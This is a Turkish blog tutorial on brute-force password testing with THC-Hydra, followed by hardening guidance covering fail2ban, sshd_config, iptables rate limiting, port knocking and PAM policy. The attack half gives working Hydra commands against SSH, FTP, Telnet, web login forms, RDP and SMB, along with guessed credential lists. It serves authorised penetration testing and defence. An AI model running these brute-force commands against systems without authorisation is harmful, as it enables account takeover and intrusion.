Hydra ile Parola Saldırısı Testi ve Korunma Yöntemleri

Pentest projelerinde en çok zaman harcadığım araçlardan biri Hydra’dır. Özellikle müşterilerin “biz zaten güçlü parola politikamız var” dediği anlarda, Hydra’yı çalıştırıp sonuçları gösterince yüzlerindeki ifadeyi unutamıyorum. Bu yazıda hem saldırı tarafını hem de savunma tarafını ele alacağım; çünkü bu aracı anlamadan ona karşı nasıl korunacağınızı da tam olarak anlayamazsınız.

> Yasal Uyarı: Bu yazıdaki teknikler yalnızca kendi sistemlerinizde veya yazılı izin aldığınız sistemlerde test amaçlı kullanılabilir. İzinsiz sistemlere yapılan saldırılar Türk Ceza Kanunu’nun 243. ve 244. maddeleri kapsamında suç teşkil eder.

Hydra Nedir ve Neden Önemlidir?

THC-Hydra, çevrimiçi parola kırma (online password cracking) için geliştirilmiş, paralel çalışabilen bir araçtır. SSH, FTP, HTTP, SMTP, RDP, SMB gibi onlarca protokolü destekler. Kali Linux’ta hazır gelir, Debian/Ubuntu üzerinde de kolayca kurulabilir.

Şunu net söyleyeyim: Hydra, gerçek saldırganlara göre oldukça gürültülü bir araçtır. Logları iyi izleyen bir sistem yöneticisi Hydra saldırısını dakikalar içinde fark eder. Ama asıl mesele şu: kaç sistem yöneticisi loglarını gerçekten izliyor?

# Kurulum (Debian/Ubuntu)
sudo apt update && sudo apt install hydra -y

# Kali'de zaten yüklü, versiyon kontrolü
hydra -h | head -5

Temel Hydra Parametreleri

Hydra’nın parametrelerini ezberlemeye gerek yok, ama temel olanları bilmek işinizi hızlandırır:

-l: Tek kullanıcı adı belirtir (örneğin: -l root) -L: Kullanıcı adı listesi dosyası (örneğin: -L users.txt) -p: Tek parola belirtir (örneğin: -p 123456) -P: Parola listesi dosyası (örneğin: -P rockyou.txt) -t: Paralel görev sayısı, varsayılan 16 (örneğin: -t 4) -s: Varsayılan dışında port belirtmek için (örneğin: -s 2222) -v / -V: Verbose mod, her denemeyi gösterir -f: İlk başarılı sonuçta dur -o: Sonuçları dosyaya yaz -x: Kaba kuvvet için parola üretme kuralları

SSH Üzerinde Parola Saldırısı Testi

Klasik senaryo: Müşteri “SSH’ı internete açık bırakmak zorundayız” diyor. Test ortamında ne kadar sürede kırılabildiğini göstermek için şunu kullanıyorum:

# Basit SSH brute force - tek kullanıcı, parola listesi
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# Birden fazla kullanıcı ve parola kombinasyonu
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt 
      -P /usr/share/wordlists/rockyou.txt 
      -t 4 
      -f 
      -o ssh_results.txt 
      ssh://192.168.1.100

# Farklı SSH portu kullanıyorsa
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100

Burada -t 4 parametresini kasıtlı olarak düşük tutuyorum. SSH sunucuları çok fazla paralel bağlantıdan hoşlanmaz ve zaten savunma mekanizmaları bağlantı hızına göre tetikleniyor. Gerçekçi bir test için düşük ve yavaş gitmek bazen daha doğru sonuç verir.

FTP ve Telnet Testleri

FTP hala birçok üretim ortamında kullanılıyor, inanamıyorum ama öyle. Telnet’e gelince, endüstriyel sistemlerde görmek hala mümkün:

# FTP brute force
hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.50

# Telnet - timeout değerini artırmak gerekebilir
hydra -l admin -P passwords.txt telnet://192.168.1.50 -t 4 -w 30

# FTP anonim erişim kontrolü (boş parola testi)
hydra -l anonymous -p "" ftp://192.168.1.50

HTTP Form ve Web Panel Testleri

Web uygulamalarında login formlarına karşı Hydra kullanmak biraz daha karmaşık. Form parametrelerini doğru yakalamak kritik:

# HTTP POST form brute force (örnek: WordPress admin paneli)
# Önce Burp Suite veya tarayıcı devtools ile POST parametrelerini yakalayın
hydra -l admin 
      -P /usr/share/wordlists/rockyou.txt 
      192.168.1.100 
      http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:ERROR"

# HTTP Basic Auth korumalı sayfa
hydra -l admin -P passwords.txt http-get://192.168.1.100/admin/

# HTTPS üzerinden form saldırısı
hydra -l admin 
      -P rockyou.txt 
      -s 443 
      -S 
      192.168.1.100 
      http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

HTTP form testinde üç alan var: URL yolu, POST parametreleri ve başarısız girişte dönen hata mesajı. Bu hata mesajını yanlış yakalarsanız Hydra her denemeyi başarılı sayar, yüzlerce false positive görürsünüz.

RDP ve SMB Testleri

Windows ortamlarında en sık test edilen iki protokol:

# RDP brute force (dikkatli kullanın, hesap kilitlenebilir)
hydra -l Administrator 
      -P /usr/share/wordlists/rockyou.txt 
      rdp://192.168.1.200 
      -t 1 
      -V

# SMB - domain ortamında
hydra -l administrator 
      -P passwords.txt 
      smb://192.168.1.200

# Kullanıcı adı ve parola listesi kombinasyonu - SMB
hydra -L users.txt 
      -P passwords.txt 
      -t 2 
      smb://192.168.1.200

RDP testlerinde -t 1 kullanmayı alışkanlık edinin. Çok sayıda paralel RDP bağlantısı hem hedef sistemi yorar hem de Active Directory hesap kilitleme politikasını çok hızlı tetikler.

Gerçek Dünya Senaryosu: Zayıf Parola Politikası Tespiti

Geçen yıl bir üretim firmasında yaptığım değerlendirmeden: Şirketin 50 Linux sunucusu vardı ve tüm sistem yöneticileri “güçlü parola” kullandığını düşünüyordu. Ama kimse parola politikasını merkezi olarak yönetmiyordu.

# Önce hangi IP'lerde SSH açık, keşfedelim
nmap -p 22 --open 192.168.1.0/24 -oG ssh_hosts.txt
grep "22/open" ssh_hosts.txt | awk '{print $2}' > targets.txt

# Yaygın sistem yöneticisi kullanıcı adları listesi oluştur
cat > sysadmin_users.txt << EOF
root
admin
administrator
ubuntu
centos
ec2-user
ansible
deploy
backup
monitor
EOF

# Kurumsal ortamlarda yaygın "güçlü sanılan" parolalar
cat > corp_passwords.txt << EOF
Passw0rd
Password1
Admin1234
Sifre123
Sirket2024
Sirket2023!
Welcome1
Summer2024!
EOF

# Test başlat - düşük hızda, sessiz olmaya çalışarak
hydra -L sysadmin_users.txt 
      -P corp_passwords.txt 
      -t 2 
      -w 5 
      -f 
      -o pentest_results.txt 
      ssh://192.168.1.101

Sonuç: 50 sunucunun 7’sinde zayıf parola tespit ettik. Birinde root parolası “Sirket2023!” idi. Raporu sunarken odada sessizlik oldu.

Korunma Yöntemleri: Asıl Konu Burası

Saldırıyı anladınız, şimdi asıl önemli kısma gelelim.

fail2ban Kurulumu ve Yapılandırması

fail2ban, belirli sayıda başarısız giriş denemesinden sonra IP adresini otomatik olarak engeller. SSH için olmazsa olmaz:

# Kurulum
sudo apt install fail2ban -y

# Yapılandırma - orijinal dosyayı koruyun, local kopya oluşturun
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
sudo nano /etc/fail2ban/jail.local
[DEFAULT]
# Ban süresi: 1 saat (saniye cinsinden)
bantime = 3600
# Kaç saniye içinde...
findtime = 600
# ...kaç başarısız deneme olursa ban uygulansın
maxretry = 3
# E-posta bildirimi için (opsiyonel)
destemail = [email protected]

[sshd]
enabled = true
port = ssh
logpath = %(sshd_log)s
maxretry = 3
bantime = 7200

[vsftpd]
enabled = true
port = ftp
logpath = %(vsftpd_log)s
maxretry = 3
# Servisi başlat ve etkinleştir
sudo systemctl enable fail2ban
sudo systemctl start fail2ban

# Durumu kontrol et
sudo fail2ban-client status sshd

# Banlı IP'leri görüntüle
sudo fail2ban-client status sshd | grep "Banned IP"

# Manuel ban kaldırma (beyaz listeye almak için)
sudo fail2ban-client set sshd unbanip 192.168.1.50

SSH Sertleştirme (Hardening)

fail2ban tek başına yeterli değil. SSH yapılandırmasını da düzeltmek gerekiyor:

sudo nano /etc/ssh/sshd_config
# Root girişini tamamen kapat
PermitRootLogin no

# Parola doğrulamayı kapat, sadece anahtar kullan
PasswordAuthentication no
PubkeyAuthentication yes

# Boş parolalara izin verme
PermitEmptyPasswords no

# Maksimum giriş denemesi
MaxAuthTries 3

# Giriş süresi limiti (30 saniye)
LoginGraceTime 30

# Sadece belirli kullanıcıların giriş yapmasına izin ver
AllowUsers deploy ansible monitor

# X11 forwarding'i kapat (ihtiyaç yoksa)
X11Forwarding no

# Boş oturumları kapat
ClientAliveInterval 300
ClientAliveCountMax 2
# Yapılandırmayı test et (servisi yeniden başlatmadan önce)
sudo sshd -t

# Servisi yeniden başlat
sudo systemctl restart sshd

iptables ile Hız Sınırlama

fail2ban reaktif çalışır; iptables ile proaktif hız sınırlaması ekleyebilirsiniz:

# SSH portuna saniyede en fazla 3 bağlantıya izin ver
sudo iptables -A INPUT -p tcp --dport 22 -m state --state NEW 
  -m recent --set --name SSH_ATTEMPTS

sudo iptables -A INPUT -p tcp --dport 22 -m state --state NEW 
  -m recent --update --seconds 60 --hitcount 4 --name SSH_ATTEMPTS 
  -j DROP

# Kuralları kalıcı hale getir
sudo apt install iptables-persistent -y
sudo netfilter-persistent save

# Mevcut kuralları görüntüle
sudo iptables -L INPUT -n --line-numbers

Port Değiştirme ve Port Knocking

SSH’ı 22’den farklı bir porta taşımak, otomatik tarayıcıların büyük çoğunluğunu engeller. Güvenlik mekanizması olarak değil, gürültüyü azaltma amacıyla yapıyorum bunu:

# sshd_config'de portu değiştir
sudo sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config
sudo systemctl restart sshd

# SELinux kullanıyorsanız (CentOS/RHEL)
sudo semanage port -a -t ssh_port_t -p tcp 2222
sudo firewall-cmd --add-port=2222/tcp --permanent
sudo firewall-cmd --reload

Port knocking için knockd kullanımı:

sudo apt install knockd -y
sudo nano /etc/knockd.conf
[options]
    UseSyslog

[openSSH]
    sequence    = 7000,8000,9000
    seq_timeout = 5
    command     = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 2222 -j ACCEPT
    tcpflags    = syn

[closeSSH]
    sequence    = 9000,8000,7000
    seq_timeout = 5
    command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 2222 -j ACCEPT
    tcpflags    = syn

Merkezi Parola Politikası ve PAM Yapılandırması

# libpam-pwquality kur
sudo apt install libpam-pwquality -y

# PAM yapılandırması
sudo nano /etc/pam.d/common-password
# Parola kalite kuralları
password requisite pam_pwquality.so 
  retry=3 
  minlen=12 
  dcredit=-1 
  ucredit=-1 
  ocredit=-1 
  lcredit=-1 
  reject_username 
  enforce_for_root
# Hesap kilitleme politikası
sudo nano /etc/pam.d/common-auth

# Şu satırı en üste ekle:
# auth required pam_tally2.so onerr=fail audit deny=5 unlock_time=900

# Kilitli hesapları görüntüle
sudo pam_tally2 --user=admin

# Hesabı manuel aç
sudo pam_tally2 --user=admin --reset

Saldırı Tespiti için Log İzleme

Proaktif olmak istiyorsanız logları izlemek şart:

# Başarısız SSH girişlerini gerçek zamanlı izle
sudo tail -f /var/log/auth.log | grep "Failed password"

# Son 1 saatteki başarısız giriş istatistikleri
sudo grep "Failed password" /var/log/auth.log | 
  grep "$(date '+%b %d %H')" | 
  awk '{print $11}' | 
  sort | uniq -c | sort -rn | head -20

# Başarılı girişleri de unutma - anormal saatler önemli
sudo grep "Accepted password|Accepted publickey" /var/log/auth.log | 
  awk '{print $1, $2, $3, $9, $11}' | tail -50

Güvenlik Kontrol Listesi

Sistem güvenliğini değerlendirirken kullandığım mini checklist:

  • SSH anahtar tabanlı kimlik doğrulama: Parola ile giriş tamamen kapatılmış olmalı
  • fail2ban aktif: SSH, FTP ve web servisleri için ayrı kurallar
  • Root girişi kapalı: PermitRootLogin no olmalı
  • Gereksiz servisler kapalı: Her açık port potansiyel saldırı yüzeyi
  • Güvenlik güncellemeleri otomatik: unattended-upgrades aktif olmalı
  • Merkezi log yönetimi: Logları yerel sistemde tutmayın, ELK veya benzeri çözüm kullanın
  • İki faktörlü doğrulama: Kritik sistemlerde Google Authenticator veya benzeri
  • Parola yöneticisi politikası: Kullanıcılar parola yöneticisi kullanmak zorunda olmalı

Sonuç

Hydra güçlü bir araç ama aslında anlattığı hikaye basit: sistemleriniz zayıf parolalara karşı ne kadar dirençli? Bu sorunun cevabını siz kendi sisteminizde test etmezseniz, başkası sizin için test eder. Fark şu: sizin testinizin sonuçları güvenli bir raporda kalır, diğerinin testinin sonuçları haberlerde çıkabilir.

Savunma tarafında önem sırasına göre yapılacaklar: önce SSH anahtar tabanlı kimlik doğrulamaya geçin, ardından fail2ban’ı kurun ve yapılandırın, sonra iptables ile hız sınırlaması ekleyin. Bu üçü bile çoğu otomatik saldırıyı etkisiz kılar. Uzun vadede ise merkezi kimlik yönetimi, SIEM entegrasyonu ve düzenli penetrasyon testleri şart.

Son bir not: Hydra saldırısı başladığında sisteminizde alarm çalıyorsa tebrikler, güvenlik altyapınız çalışıyor demektir. Çalmıyorsa, “henüz test etmedim” demektir. İkinci durumda, bu yazıyı okumayı bitirince test etmeye başlayın.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir